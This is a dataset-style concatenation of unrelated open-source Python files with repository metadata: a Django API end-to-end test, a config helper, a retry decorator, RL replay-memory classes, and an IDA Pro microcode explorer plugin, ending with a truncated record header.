nhatnxn/ID_Passport-OCR
78322ec2b9648d0b027326dced7c4aec967bcab3
[ "MIT" ]
null
null
null
from .dectect import detect_card __all__ = [detect_card]
19
32
0.807018
0
0
0
0
0
0
0
0
0
0
34224d1f82264345af1dc7ef7fc2a3a6d78538a4
6,670
py
Python
backend/risks/tests/e2e/test_e2e.py
andrew-snek/project-x
d6eca21690dd210f29c571660a2762732f0ede6e
[ "MIT" ]
null
null
null
backend/risks/tests/e2e/test_e2e.py
andrew-snek/project-x
d6eca21690dd210f29c571660a2762732f0ede6e
[ "MIT" ]
4
2019-01-28T19:22:21.000Z
2022-02-27T10:29:21.000Z
backend/risks/tests/e2e/test_e2e.py
andrew-snek/project-x
d6eca21690dd210f29c571660a2762732f0ede6e
[ "MIT" ]
null
null
null
from unittest.mock import patch # mocker.patch can't be a context manager from django.contrib.auth import get_user_model from django.db import DatabaseError from rest_framework.test import APIClient def test_e2e(transactional_db, field_type_data, abstract_risk_data, risk_data): client = APIClient() # Helpers for testing def get(url, correct_result): response = client.get(url) assert response.status_code == 200 assert response.data == correct_result def post(url, payload, status=201, err=None): response = client.post(url, payload, format='json') assert response.status_code == status if err: # Either we got errors in expected fields... assert [k for k in response.data.keys()] == err else: # or we succesfully created a new thing payload['id'] = response.data['id'] assert response.data == payload return response def delete(url, status=204, err=None): response = client.delete(url) assert response.status_code == status if err: assert [k for k in response.data.keys()] == err # Login admin = get_user_model().objects.create( username='admin', is_staff=True, is_superuser=True ) admin.set_password('admin') admin.save() pair = client.post('http://localhost/api/v1/obtain-token/', { 'username': 'admin', 'password': 'admin' }).data client.credentials(HTTP_AUTHORIZATION='Bearer {0}'.format(pair['access'])) # Test FieldType fieldtypes_url = 'http://localhost/api/v1/fieldtypes/' url = fieldtypes_url get(url, []) # No FieldTypes at first # Create first FieldType post(url, field_type_data[0]) get(url, [field_type_data[0]]) # Create second FieldType post(url, field_type_data[1]) get(url, [field_type_data[0], field_type_data[1]]) # An error, if posting nonsense post(url, 'nonsense', status=400, err=['non_field_errors']) get(url, [field_type_data[0], field_type_data[1]]) # An error, if posting a FieldType with existing name post(url, field_type_data[1], status=400, err=['name']) get(url, [field_type_data[0], field_type_data[1]]) # An error, if one field is empty for field in field_type_data[2].keys(): post(url, {**field_type_data[2], field: ''}, status=400, err=[field]) get(url, [field_type_data[0], field_type_data[1]]) # An error, if widget_type is wrong field_type_data[2]['widget_type'] = 'WRONG OPTION' post(url, field_type_data[2], status=400, err=['widget_type']) # Test AbstractRisk abstractrisks_url = 'http://localhost/api/v1/abstractrisks/' url = abstractrisks_url get(url, []) # No AbstractRisks at first # Create first AbstractRisk post(url, abstract_risk_data[0]) get(url, [abstract_risk_data[0]]) # Create second AbstractRisk. This one with two abstract fields. post(url, abstract_risk_data[1]) get(url, [abstract_risk_data[0], abstract_risk_data[1]]) # An error, if posting nonsense post(url, 'nonsense', status=400, err=['non_field_errors']) # An error if posting an AbstractRisk with already existing name post(url, abstract_risk_data[1], status=400, err=['name']) get(url, [abstract_risk_data[0], abstract_risk_data[1]]) # An error if trying to post an empty field for field in abstract_risk_data[2].keys(): post( url, {**abstract_risk_data[2], field: ''}, status=400, err=[field] ) get(url, [abstract_risk_data[0], abstract_risk_data[1]]) # No changes if error during transaction with patch( 'risks.serializers.AbstractField.objects.bulk_create' ) as patched_bulk_create: patched_bulk_create.side_effect = DatabaseError('test db error') try: post(url, abstract_risk_data[2]) except DatabaseError as e: assert 'test db error' in e.args get(url, [abstract_risk_data[0], abstract_risk_data[1]]) # An error if posting an AbstractRisk with wrong FieldType id's abstract_risk_data[2]['abstract_fields'][0]['field_type'] = 'WRONG' post(url, abstract_risk_data[2], status=400, err=['abstract_fields']) # Test Risk risks_url = 'http://localhost/api/v1/risks/' url = risks_url get(url, []) # No Risks at first # Create first Risk post(url, risk_data[0]) get(url, [risk_data[0]]) # Create a second Risk, of a different AbstractRisk, with 2 Fields post(url, risk_data[1]) get(url, [risk_data[0], risk_data[1]]) # An error, if posting nonsense post(url, 'nonsense', status=400, err=['non_field_errors']) # An error, if posting a Risk with existing name post(url, risk_data[1], status=400, err=['name']) get(url, [risk_data[0], risk_data[1]]) # An error, if posting an empty field for field in risk_data[2].keys(): post(url, {**risk_data[2], field: ''}, status=400, err=[field]) get(url, [risk_data[0], risk_data[1]]) # No changes if error during transaction with patch( 'risks.serializers.Field.objects.bulk_create' ) as patched_bulk_create: patched_bulk_create.side_effect = DatabaseError('test db error') try: post(url, risk_data[2]) except DatabaseError as e: assert 'test db error' in e.args get(url, [risk_data[0], risk_data[1]]) # An error, if Fields' values are not matched by FieldTypes' regexes risk_data[2]['fields'][0]['value'] = 'NOTJUSTTHIS' risk_data[2]['fields'][1]['value'] = 'XYZ' resp = post(url, risk_data[2], status=400, err=['fields']) assert [k for k in resp.data['fields'].keys()] == [0, 1] get(url, [risk_data[0], risk_data[1]]) # Can't delete AbstractRisk if in use res = client.delete(abstractrisks_url+'1') assert res.status_code == 409 assert res.data['detail'].code == 'cannot_delete_already_in_use' get(abstractrisks_url, [abstract_risk_data[0], abstract_risk_data[1]]) # Can delete Risk res = client.delete(risks_url+'1') assert res.status_code == 204 get(risks_url, [risk_data[1]]) # Can't delete FieldType if in use res = client.delete(fieldtypes_url+'1') assert res.status_code == 409 assert res.data['detail'].code == 'cannot_delete_already_in_use' get(fieldtypes_url, [field_type_data[0], field_type_data[1]]) # Can delete AbstractRisk, which is now not in use res = client.delete(abstractrisks_url+'1') assert res.status_code == 204 get(abstractrisks_url, [abstract_risk_data[1]])
35.668449
79
0.654723
0
0
0
0
0
0
0
0
1,989
0.298201
34230bb190f961ca6511eb9a402ec6fece3611e2
967
py
Python
src/wl/resources/config.py
AlphaTechnolog/wl
09a8f883f397ba7aae80c06f61fedd1887975d3f
[ "MIT" ]
6
2021-07-13T16:34:45.000Z
2022-03-02T17:34:39.000Z
src/wl/resources/config.py
AlphaTechnolog/wl
09a8f883f397ba7aae80c06f61fedd1887975d3f
[ "MIT" ]
null
null
null
src/wl/resources/config.py
AlphaTechnolog/wl
09a8f883f397ba7aae80c06f61fedd1887975d3f
[ "MIT" ]
null
null
null
import json from typing import Dict, TypeVar from ..paths import config_dir_path, config_path from ..cli.log import warn V = TypeVar("V") class Config: def __init__(self): self.options = [ 'wallpapers_folder' ] def check(self, create: bool=False): if not config_dir_path.is_dir(): warn(f'Config dir path: {config_dir_path} not found') if create: config_dir_path.mkdir() if not config_path.is_file(): warn(f'Config file path: {config_path} not found') if create: config_path.touch() self.dump({}) def parse(self) -> Dict[str, V]: with open(config_path, 'r') as config: return json.load(config) def dump(self, new_dict: Dict[str, V]) -> Dict[str, V]: with open(config_path, 'w') as config: json.dump(new_dict, config) return self.parse() config = Config()
25.447368
65
0.574974
805
0.832472
0
0
0
0
0
0
119
0.123061
342550a8d2655bb5c2a4e7cac561e8c51b2a3642
1,501
py
Python
ferris/core/retries.py
palladius/gae-ferris-ricc
e6d9d8d4aadeae10eb258b94b6fe5912c8630b36
[ "MIT" ]
2
2015-03-04T07:05:57.000Z
2015-03-04T07:06:00.000Z
ferris/core/retries.py
palladius/gae-ferris-ricc
e6d9d8d4aadeae10eb258b94b6fe5912c8630b36
[ "MIT" ]
null
null
null
ferris/core/retries.py
palladius/gae-ferris-ricc
e6d9d8d4aadeae10eb258b94b6fe5912c8630b36
[ "MIT" ]
null
null
null
import functools from time import sleep import logging def retries(max_tries, should_retry, delay=1, backoff=2): """ Decorator that implements exponential backoff retry logic. If you have a function that may fail, this decorator can catch the exception and retry at exponentially increasing intervals until the number of retries is exhausted. The should_retry parameter should be a function that takes and exception as an argument and returns True if the function should be retried or False to permanently fail. This is extremely useful when working with external APIs. There is a shortcut decorator for working with Google APIs, see :func:`google_api_retries`. """ def dec(func): functools.wraps(func) def f2(*args, **kwargs): seconds = delay tries = range(max_tries) tries.reverse() for tries_remaining in tries: try: return func(*args, **kwargs) except Exception as e: logging.info("Caught %s with %s retries left" % (e, tries_remaining)) if tries_remaining > 0 and should_retry(e): logging.info("Exception raised, retrying in %s seconds" % seconds) sleep(seconds) seconds *= backoff else: raise e else: break return f2 return dec
35.738095
91
0.59427
0
0
0
0
0
0
0
0
660
0.439707
342669c2915f85e4da4b92522593ef57d34232b4
5,614
py
Python
memory.py
wotmd5731/pytorch_dqn
fb3062c3aff1e5e249551807e53e974363f7595c
[ "MIT" ]
11
2018-04-22T16:03:17.000Z
2021-09-02T09:10:04.000Z
memory.py
wotmd5731/pytorch_dqn
fb3062c3aff1e5e249551807e53e974363f7595c
[ "MIT" ]
null
null
null
memory.py
wotmd5731/pytorch_dqn
fb3062c3aff1e5e249551807e53e974363f7595c
[ "MIT" ]
1
2021-04-06T12:12:19.000Z
2021-04-06T12:12:19.000Z
# -*- coding: utf-8 -*- import random from collections import namedtuple import torch from torch.autograd import Variable import numpy as np class SumTree: write = 0 def __init__(self, capacity): self.capacity = capacity self.tree = numpy.zeros( 2*capacity - 1 ) self.data = numpy.zeros( capacity, dtype=object ) def _propagate(self, idx, change): parent = (idx - 1) // 2 self.tree[parent] += change if parent != 0: self._propagate(parent, change) def _retrieve(self, idx, s): left = 2 * idx + 1 right = left + 1 if left >= len(self.tree): return idx if s <= self.tree[left]: return self._retrieve(left, s) else: return self._retrieve(right, s-self.tree[left]) def total(self): return self.tree[0] def add(self, p, data): idx = self.write + self.capacity - 1 self.data[self.write] = data self.update(idx, p) self.write += 1 if self.write >= self.capacity: self.write = 0 def update(self, idx, p): change = p - self.tree[idx] self.tree[idx] = p self._propagate(idx, change) def get(self, s): idx = self._retrieve(0, s) dataIdx = idx - self.capacity + 1 return (idx, self.tree[idx], self.data[dataIdx]) class PER_Memory: # stored as ( s, a, r, s_ ) in SumTree e = 0.01 a = 0.6 def __init__(self, capacity): self.tree = SumTree(capacity) def _getPriority(self, error): return (error + self.e) ** self.a def push(self, error, sample): p = self._getPriority(error) self.tree.add(p, sample) def sample(self, n): batch_idx = [] batch = [] segment = self.tree.total() / n for i in range(n): a = segment * i b = segment * (i + 1) s = random.uniform(a, b) (idx, p, data) = self.tree.get(s) batch.append( data) batch_idx.append(idx) return batch , batch_idx def update(self, idx, error): p = self._getPriority(error) self.tree.update(idx, p) class ReplayMemory(object): def __init__(self, args): self.capacity = args.memory_capacity self.memory = [] def push(self, args): if len(self.memory) > self.capacity: #overflow mem cap pop the first element self.memory.pop(0) self.memory.append(args) def sample(self, batch_size): return random.sample(self.memory, batch_size) def __len__(self): return len(self.memory) class episodic_experience_buffer(): def __init__(self, buffer_size = 1000): self.buffer = [] self.buffer_size = buffer_size # 더할 때 버퍼사이즈를 넘으면, 앞에서부터 지우고 다시 넣는다. def add(self,experience): if len(self.buffer) + 1 >= self.buffer_size: self.buffer[0:(1+len(self.buffer))-self.buffer_size] = [] self.buffer.append(experience) def sample(self,batch_size,trace_length): sampled_episodes = random.sample(self.buffer,batch_size) sampledTraces = [] # 이전과 다른 부분, 샘플로 뽑힌 에피소드에서 지정된 크기만큼의 걸음(프레임)을 붙여서 가져온다. for episode in sampled_episodes: point = np.random.randint(0,len(episode)+1-trace_length) sampledTraces.append(episode[point:point+trace_length]) sampledTraces = np.array(sampledTraces) return np.reshape(sampledTraces,[trace_length,batch_size,11]) #class LSTM_ReplayMemory(object): # def __init__(self, args): # self.capacity = args.memory_capacity # self.memory = [] # # def push(self, args): # if len(self.memory) > self.capacity: # #overflow mem cap pop the first element # self.memory.pop(0) # self.memory.append(args) # # def sample(self,batch,trace): # ## for episode in sampled_episodes: ## point = np.random.randint(0,len(episode)+1-trace_length) ## sampledTraces.append(episode[point:point+trace_length]) ## sampledTraces = np.array(sampledTraces) ## return np.reshape(sampledTraces,[batch_size*trace_length,5]) # # sss=[] # aaa=[] # rrr=[] # sss_=[] # ddd=[] # # for bb in range(batch): # # seq_len(timestamp), batch, input_size # num = random.randint(0,len(self.memory)-1-trace) # ss=[] # aa=[] # rr=[] # ss_=[] # dd=[] # t = 0 # while t<trace: # # ss.append(self.memory[num+t][0].reshape(1,1,4)) # aa.append(numpy.array(self.memory[num+t][1]).reshape(1,1,1)) # rr.append(numpy.array(self.memory[num+t][2]).reshape(1,1,1)) # ss_.append(self.memory[num+t][3].reshape(1,1,4)) # dd.append(numpy.array(self.memory[num+t][4]).reshape(1,1,1).astype('int')) # t += 1 # sss.append(numpy.vstack(ss)) # aaa.append(numpy.vstack(aa)) # rrr.append(numpy.vstack(rr)) # sss_.append(numpy.vstack(ss_)) # ddd.append(numpy.vstack(dd)) # # # # sss = numpy.hstack(sss) # aaa = numpy.hstack(aaa) # rrr = numpy.hstack(rrr) # sss_ = numpy.hstack(sss_) # ddd = numpy.hstack(ddd) # # return [sss,aaa,rrr,sss_,ddd] # # # # # def __len__(self): # return len(self.memory)
26.861244
91
0.54756
3,559
0.619819
0
0
0
0
0
0
2,272
0.395681
3429a3e461da531be0fa698d0309fa50ab924089
25,866
py
Python
plugins/lucid/ui/explorer.py
gaasedelen/lucid
9f2480dc8e6bbb9421b5711533b0a98d2e9fb5af
[ "MIT" ]
342
2020-09-11T16:03:31.000Z
2022-03-31T02:46:31.000Z
plugins/lucid/ui/explorer.py
gaasedelen/lucid
9f2480dc8e6bbb9421b5711533b0a98d2e9fb5af
[ "MIT" ]
3
2021-01-16T16:59:41.000Z
2022-01-19T07:18:17.000Z
plugins/lucid/ui/explorer.py
gaasedelen/lucid
9f2480dc8e6bbb9421b5711533b0a98d2e9fb5af
[ "MIT" ]
37
2020-09-12T17:07:29.000Z
2022-03-15T15:17:05.000Z
import ctypes import ida_ida import ida_funcs import ida_graph import ida_idaapi import ida_kernwin import ida_hexrays from PyQt5 import QtWidgets, QtGui, QtCore, sip from lucid.ui.sync import MicroCursorHighlight from lucid.ui.subtree import MicroSubtreeView from lucid.util.python import register_callback, notify_callback from lucid.util.hexrays import get_microcode, get_mmat, get_mmat_name, get_mmat_levels from lucid.microtext import MicrocodeText, MicroInstructionToken, MicroOperandToken, AddressToken, BlockNumberToken, translate_mtext_position, remap_mtext_position #------------------------------------------------------------------------------ # Microcode Explorer #------------------------------------------------------------------------------ # # The Microcode Explorer UI is mostly implemented following a standard # Model-View-Controller pattern. This is a little abnormal for Qt, but # I've come to appreciate it more for its portability and testability. # class MicrocodeExplorer(object): """ The controller component of the microcode explorer. The role of the controller is to handle user gestures, map user actions to model updates, and change views based on controls. In theory, the controller should be able to drive the 'view' headlessly or simulate user UI interaction. """ def __init__(self): self.model = MicrocodeExplorerModel() self.view = MicrocodeExplorerView(self, self.model) self.view._code_sync.enable_sync(True) # XXX/HACK def show(self, address=None): """ Show the microcode explorer. """ if address is None: address = ida_kernwin.get_screen_ea() self.select_function(address) self.view.show() def show_subtree(self, insn_token): """ Show the sub-instruction graph for the given instruction token. """ graph = MicroSubtreeView(insn_token.insn) graph.show() # TODO/HACK: this is dumb, but moving it breaks my centering code so # i'll figure it out later... gv = ida_graph.get_graph_viewer(graph.GetWidget()) ida_graph.viewer_set_titlebar_height(gv, 15) #------------------------------------------------------------------------- # View Toggles #------------------------------------------------------------------------- def set_highlight_mutual(self, status): """ Toggle the highlighting of lines containing the same active address. """ if status: self.view._code_sync.hook() else: self.view._code_sync.unhook() ida_kernwin.refresh_idaview_anyway() def set_verbose(self, status): """ Toggle the verbosity of the printed microcode text. """ self.model.verbose = status ida_kernwin.refresh_idaview_anyway() #------------------------------------------------------------------------- # View Controls #------------------------------------------------------------------------- def select_function(self, address): """ Switch the microcode view to the specified function. """ func = ida_funcs.get_func(address) if not func: return False for maturity in get_mmat_levels(): mba = get_microcode(func, maturity) mtext = MicrocodeText(mba, self.model.verbose) self.model.update_mtext(mtext, maturity) self.view.refresh() ida_kernwin.refresh_idaview_anyway() return True def select_maturity(self, maturity_name): """ Switch the microcode view to the specified maturity level. """ self.model.active_maturity = get_mmat(maturity_name) #self.view.refresh() def select_address(self, address): """ Select a token in the microcode view matching the given address. """ tokens = self.model.mtext.get_tokens_for_address(address) if not tokens: return None token_line_num, token_x = self.model.mtext.get_pos_of_token(tokens[0]) rel_y = self.model.current_position[2] if self.model.current_position[2] == 0: rel_y = 30 self.model.current_position = (token_line_num, token_x, rel_y) return tokens[0] def select_position(self, line_num, x, y): """ Select the given text position in the microcode view. """ self.model.current_position = (line_num, x, y) #print(" - hovered token: %s" % self.model.current_token.text) #print(" - hovered taddr: 0x%08X" % self.model.current_token.address) #print(" - hovered laddr: 0x%08X" % self.model.current_address) def activate_position(self, line_num, x, y): """ Activate (eg. double click) the given text position in the microcode view. """ token = self.model.mtext.get_token_at_position(line_num, x) if isinstance(token, AddressToken): ida_kernwin.jumpto(token.target_address, -1, 0) return if isinstance(token, BlockNumberToken) or (isinstance(token, MicroOperandToken) and token.mop.t == ida_hexrays.mop_b): blk_idx = token.blk_idx if isinstance(token, BlockNumberToken) else token.mop.b blk_token = self.model.mtext.blks[blk_idx] blk_line_num, _ = self.model.mtext.get_pos_of_token(blk_token.lines[0]) self.model.current_position = (blk_line_num, 0, y) self.view._code_view.Jump(*self.model.current_position) return class MicrocodeExplorerModel(object): """ The model component of the microcode explorer. The role of the model is to encapsulate application state, respond to state queries, and notify views of changes. Ideally, the model could be serialized / unserialized to save and restore state. """ def __init__(self): # # 'mtext' is short for MicrocodeText objects (see microtext.py) # # this dictionary will contain a mtext object (the renderable text # mapping of a given hexrays mba_t) for each microcode maturity level # of the current function. # # at any given time, one mtext will be 'active' in the model, and # therefore visible in the UI/Views # self._mtext = {x: None for x in get_mmat_levels()} # # there is a 'cursor' (ViewCursor) for each microcode maturity level / # mtext object. cursors don't actually contain the 'position' in the # rendered text (line_num, x), but also information to position the # cursor within the line view (y) # self._view_cursors = {x: None for x in get_mmat_levels()} # # the currently active / selected maturity level of the model. this # determines which mtext is currently visible / active in the # microcode view, and which cursor will be used # self._active_maturity = ida_hexrays.MMAT_GENERATED # this flag tracks the verbosity toggle state self._verbose = False #---------------------------------------------------------------------- # Callbacks #---------------------------------------------------------------------- self._mtext_refreshed_callbacks = [] self._position_changed_callbacks = [] self._maturity_changed_callbacks = [] #------------------------------------------------------------------------- # Read-Only Properties #------------------------------------------------------------------------- @property def mtext(self): """ Return the microcode text mapping for the current maturity level. """ return self._mtext[self._active_maturity] @property def current_line(self): """ Return the line token at the current viewport cursor position. """ if not self.mtext: return None line_num, _, _ = self.current_position return self.mtext.lines[line_num] @property def current_function(self): """ Return the current function address. """ if not self.mtext: return ida_idaapi.BADADDR return self.mtext.mba.entry_ea @property def current_token(self): """ Return the token at the current viewport cursor position. """ return self.mtext.get_token_at_position(*self.current_position[:2]) @property def current_address(self): """ Return the address at the current viewport cursor position. """ return self.mtext.get_address_at_position(*self.current_position[:2]) @property def current_cursor(self): """ Return the current viewport cursor. """ return self._view_cursors[self._active_maturity] #------------------------------------------------------------------------- # Mutable Properties #------------------------------------------------------------------------- @property def current_position(self): """ Return the current viewport cursor position (line_num, view_x, view_y). """ return self.current_cursor.viewport_position @current_position.setter def current_position(self, value): """ Set the cursor position of the viewport. """ self._gen_cursors(value, self.active_maturity) self._notify_position_changed() @property def verbose(self): """ Return the microcode verbosity status of the viewport. """ return self._verbose @verbose.setter def verbose(self, value): """ Set the verbosity of the microcode displayed by the viewport. """ if self._verbose == value: return # update the active verbosity setting self._verbose = value # verbosity must have changed, so force a mtext refresh self.refresh_mtext() @property def active_maturity(self): """ Return the active microcode maturity level. """ return self._active_maturity @active_maturity.setter def active_maturity(self, new_maturity): """ Set the active microcode maturity level. """ self._active_maturity = new_maturity self._notify_maturity_changed() #---------------------------------------------------------------------- # Misc #---------------------------------------------------------------------- def update_mtext(self, mtext, maturity): """ Set the mtext for a given microcode maturity level. """ self._mtext[maturity] = mtext self._view_cursors[maturity] = ViewCursor(0, 0, 0) def refresh_mtext(self): """ Regenerate the rendered text for all microcode maturity levels. TODO: This is a bit sloppy, and is basically only used for the verbosity toggle. """ for maturity, mtext in self._mtext.items(): if maturity == self.active_maturity: new_mtext = MicrocodeText(mtext.mba, self.verbose) self._mtext[maturity] = new_mtext self.current_position = translate_mtext_position(self.current_position, mtext, new_mtext) continue mtext.refresh(self.verbose) self._notify_mtext_refreshed() def _gen_cursors(self, position, mmat_src): """ Generate the cursors for all levels from a source position and maturity. """ mmat_levels = get_mmat_levels() mmat_first, mmat_final = mmat_levels[0], mmat_levels[-1] # clear out all the existing cursor mappings self._view_cursors = {x: None for x in mmat_levels} # save the starting cursor line_num, x, y = position self._view_cursors[mmat_src] = ViewCursor(line_num, x, y, True) # map the cursor backwards from the source maturity mmat_lower = range(mmat_first, mmat_src)[::-1] current_maturity = mmat_src for next_maturity in mmat_lower: self._transfer_cursor(current_maturity, next_maturity) current_maturity = next_maturity # map the cursor forward from the source maturity mmat_higher = range(mmat_src+1, mmat_final + 1) current_maturity = mmat_src for next_maturity in mmat_higher: self._transfer_cursor(current_maturity, next_maturity) current_maturity = next_maturity def _transfer_cursor(self, mmat_src, mmat_dst): """ Translate the cursor position from one maturity to the next. """ position = self._view_cursors[mmat_src].viewport_position mapped = self._view_cursors[mmat_src].mapped # attempt to translate the position in one mtext to another projection = translate_mtext_position(position, self._mtext[mmat_src], self._mtext[mmat_dst]) # if translation failed, we will generate an approximate cursor if not projection: mapped = False projection = remap_mtext_position(position, self._mtext[mmat_src], self._mtext[mmat_dst]) # save the generated cursor line_num, x, y = projection self._view_cursors[mmat_dst] = ViewCursor(line_num, x, y, mapped) #---------------------------------------------------------------------- # Callbacks #---------------------------------------------------------------------- def mtext_refreshed(self, callback): """ Subscribe a callback for mtext refresh events. """ register_callback(self._mtext_refreshed_callbacks, callback) def _notify_mtext_refreshed(self): """ Notify listeners of a mtext refresh event. """ notify_callback(self._mtext_refreshed_callbacks) def position_changed(self, callback): """ Subscribe a callback for cursor position changed events. """ register_callback(self._position_changed_callbacks, callback) def _notify_position_changed(self): """ Notify listeners of a cursor position changed event. """ notify_callback(self._position_changed_callbacks) def maturity_changed(self, callback): """ Subscribe a callback for maturity changed events. """ register_callback(self._maturity_changed_callbacks, callback) def _notify_maturity_changed(self): """ Notify listeners of a maturity changed event. """ notify_callback(self._maturity_changed_callbacks) #----------------------------------------------------------------------------- # UI Components #----------------------------------------------------------------------------- class MicrocodeExplorerView(QtWidgets.QWidget): """ The view component of the Microcode Explorer. """ WINDOW_TITLE = "Microcode Explorer" def __init__(self, controller, model): super(MicrocodeExplorerView, self).__init__() self.visible = False # the backing model, and controller for this view (eg, mvc pattern) self.model = model self.controller = controller # initialize the plugin UI self._ui_init() self._ui_init_signals() #-------------------------------------------------------------------------- # Pseudo Widget Functions #-------------------------------------------------------------------------- def show(self): self.refresh() # show the dockable widget flags = ida_kernwin.PluginForm.WOPN_DP_RIGHT | 0x200 # WOPN_SZHINT ida_kernwin.display_widget(self._twidget, flags) ida_kernwin.set_dock_pos(self.WINDOW_TITLE, "IDATopLevelDockArea", ida_kernwin.DP_RIGHT) self._code_sync.hook() def _cleanup(self): self.visible = False self._twidget = None self.widget = None self._code_sync.unhook() self._ui_hooks.unhook() # TODO cleanup controller / model #-------------------------------------------------------------------------- # Initialization - UI #-------------------------------------------------------------------------- def _ui_init(self): """ Initialize UI elements. """ self._ui_init_widget() # initialize our ui elements self._ui_init_list() self._ui_init_code() self._ui_init_settings() # layout the populated ui just before showing it self._ui_layout() def _ui_init_widget(self): """ Initialize an IDA widget for this UI control. """ # create a dockable widget, and save a reference to it for later use self._twidget = ida_kernwin.create_empty_widget(self.WINDOW_TITLE) # cast the IDA 'twidget' to a less opaque QWidget object self.widget = ida_kernwin.PluginForm.TWidgetToPyQtWidget(self._twidget) # hooks to help track the container/widget lifetime class ExplorerUIHooks(ida_kernwin.UI_Hooks): def widget_invisible(_, twidget): if twidget == self._twidget: self.visible = False self._cleanup() def widget_visible(_, twidget): if twidget == self._twidget: self.visible = True # install the widget lifetime hooks self._ui_hooks = ExplorerUIHooks() self._ui_hooks.hook() def _ui_init_list(self): """ Initialize the microcode maturity list. """ self._maturity_list = LayerListWidget() def _ui_init_code(self): """ Initialize the microcode view(s). """ self._code_view = MicrocodeView(self.model) self._code_sync = MicroCursorHighlight(self.controller, self.model) self._code_sync.track_view(self._code_view.widget) def _ui_init_settings(self): """ Initialize the explorer settings groupbox. """ self._checkbox_cursor = QtWidgets.QCheckBox("Highlight mutual") self._checkbox_cursor.setCheckState(QtCore.Qt.Checked) self._checkbox_verbose = QtWidgets.QCheckBox("Show use/def") self._checkbox_sync = QtWidgets.QCheckBox("Sync hexrays") self._checkbox_sync.setCheckState(QtCore.Qt.Checked) self._groupbox_settings = QtWidgets.QGroupBox("Settings") layout = QtWidgets.QVBoxLayout() layout.addWidget(self._checkbox_cursor) layout.addWidget(self._checkbox_verbose) layout.addWidget(self._checkbox_sync) self._groupbox_settings.setLayout(layout) def _ui_layout(self): """ Layout the major UI elements of the widget. """ layout = QtWidgets.QGridLayout() # arrange the widgets in a 'grid' row col row span col span layout.addWidget(self._code_view.widget, 0, 0, 0, 1) layout.addWidget(self._maturity_list, 0, 1, 1, 1) layout.addWidget(self._groupbox_settings, 1, 1, 1, 1) # apply the layout to the widget self.widget.setLayout(layout) def _ui_init_signals(self): """ Connect UI signals. """ self._maturity_list.currentItemChanged.connect(lambda x, y: self.controller.select_maturity(x.text())) self._code_view.connect_signals(self.controller) self._code_view.OnClose = self.hide # HACK # checkboxes self._checkbox_cursor.stateChanged.connect(lambda x: self.controller.set_highlight_mutual(bool(x))) self._checkbox_verbose.stateChanged.connect(lambda x: self.controller.set_verbose(bool(x))) self._checkbox_sync.stateChanged.connect(lambda x: self._code_sync.enable_sync(bool(x))) # model signals self.model.mtext_refreshed(self.refresh) self.model.maturity_changed(self.refresh) #-------------------------------------------------------------------------- # Misc #-------------------------------------------------------------------------- def refresh(self): """ Refresh the microcode explorer UI based on the model state. """ self._maturity_list.setCurrentRow(self.model.active_maturity - 1) self._code_view.refresh() class LayerListWidget(QtWidgets.QListWidget): """ The microcode maturity list widget """ def __init__(self): super(LayerListWidget, self).__init__() # populate the list widget with the microcode maturity levels self.addItems([get_mmat_name(x) for x in get_mmat_levels()]) # select the first maturity level, by default self.setCurrentRow(0) # make the list widget a fixed size, slightly wider than it needs to be width = self.sizeHintForColumn(0) self.setMaximumWidth(int(width + width * 0.10)) def wheelEvent(self, event): """ Handle mouse wheel scroll events. """ y = event.angleDelta().y() # scrolling down, clamp to last row if y < 0: next_row = min(self.currentRow()+1, self.count()-1) # scrolling up, clamp to first row (0) elif y > 0: next_row = max(self.currentRow()-1, 0) # horizontal scroll ? nothing to do.. else: return self.setCurrentRow(next_row) class MicrocodeView(ida_kernwin.simplecustviewer_t): """ An IDA-based text area that will render the Hex-Rays microcode. TODO: I'll probably rip this out in the future, as I'll have finer control over the interaction / implementation if I just roll my own microcode text widget. For that reason, excuse its hacky-ness / lack of comments. """ def __init__(self, model): super(MicrocodeView, self).__init__() self.model = model self.Create() def connect_signals(self, controller): self.controller = controller self.OnCursorPosChanged = lambda: controller.select_position(*self.GetPos()) self.OnDblClick = lambda _: controller.activate_position(*self.GetPos()) self.model.position_changed(self.refresh_cursor) def refresh(self): self.ClearLines() for line in self.model.mtext.lines: self.AddLine(line.tagged_text) self.refresh_cursor() def refresh_cursor(self): if not self.model.current_position: return self.Jump(*self.model.current_position) def Create(self): if not super(MicrocodeView, self).Create(None): return False self._twidget = self.GetWidget() self.widget = ida_kernwin.PluginForm.TWidgetToPyQtWidget(self._twidget) return True def OnClose(self): pass def OnCursorPosChanged(self): pass def OnDblClick(self, shift): pass def OnPopup(self, form, popup_handle): controller = self.controller # # so, i'm pretty picky about my UI / interactions. IDA puts items in # the right click context menus of custom (code) viewers. # # these items aren't really relevant (imo) to the microcode viewer, # so I do some dirty stuff here to filter them out and ensure only # my items will appear in the context menu. # # there's only one right click context item right now, but in the # future i'm sure there will be more. # class FilterMenu(QtCore.QObject): def __init__(self, qmenu): super(QtCore.QObject, self).__init__() self.qmenu = qmenu def eventFilter(self, obj, event): if event.type() != QtCore.QEvent.Polish: return False for action in self.qmenu.actions(): if action.text() in ["&Font...", "&Synchronize with"]: # lol.. qmenu.removeAction(action) self.qmenu.removeEventFilter(self) self.qmenu = None return True p_qmenu = ctypes.cast(int(popup_handle), ctypes.POINTER(ctypes.c_void_p))[0] qmenu = sip.wrapinstance(int(p_qmenu), QtWidgets.QMenu) self.filter = FilterMenu(qmenu) qmenu.installEventFilter(self.filter) # only handle right clicks on lines containing micro instructions ins_token = self.model.mtext.get_ins_for_line(self.model.current_line) if not ins_token: return False class MyHandler(ida_kernwin.action_handler_t): def activate(self, ctx): controller.show_subtree(ins_token) def update(self, ctx): return ida_kernwin.AST_ENABLE_ALWAYS # inject the 'View subtree' action into the right click context menu desc = ida_kernwin.action_desc_t(None, 'View subtree', MyHandler()) ida_kernwin.attach_dynamic_action_to_popup(form, popup_handle, desc, None) return True #----------------------------------------------------------------------------- # Util #----------------------------------------------------------------------------- class ViewCursor(object): """ TODO """ def __init__(self, line_num, x, y, mapped=True): self.line_num = line_num self.x = x self.y = y self.mapped = mapped @property def text_position(self): return (self.line_num, self.x) @property def viewport_position(self): return (self.line_num, self.x, self.y)
34.534045
163
0.583391
24,524
0.948117
0
0
2,729
0.105505
0
0
9,538
0.368747
342b25a8f2f2e9f6dd989cfc80e899259fa211c6
314
py
Python
tests/data/plain_old_module.py
danielcompton/mitogen
2813d1a968d6f694514a0053d094c0da9ea4863b
[ "BSD-3-Clause" ]
null
null
null
tests/data/plain_old_module.py
danielcompton/mitogen
2813d1a968d6f694514a0053d094c0da9ea4863b
[ "BSD-3-Clause" ]
null
null
null
tests/data/plain_old_module.py
danielcompton/mitogen
2813d1a968d6f694514a0053d094c0da9ea4863b
